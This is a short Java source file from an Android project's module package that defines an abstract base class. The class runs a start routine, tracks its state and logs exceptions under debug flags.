package com.android.dvci.module; import com.android.dvci.StateRun; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; public abstract class BaseInstantModule extends BaseModule { private static final String TAG = "BaseInstantAgent"; public synchronized void run() { status = StateRun.STARTING; try { actualStart(); status = StateRun.STARTED; } catch (final Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(ex);//$NON-NLS-1$ Check.log(TAG + " Error: " + ex); //$NON-NLS-1$ } } status = StateRun.STOPPED; } @Override public final void actualGo() { } @Override public final void actualStop() { } }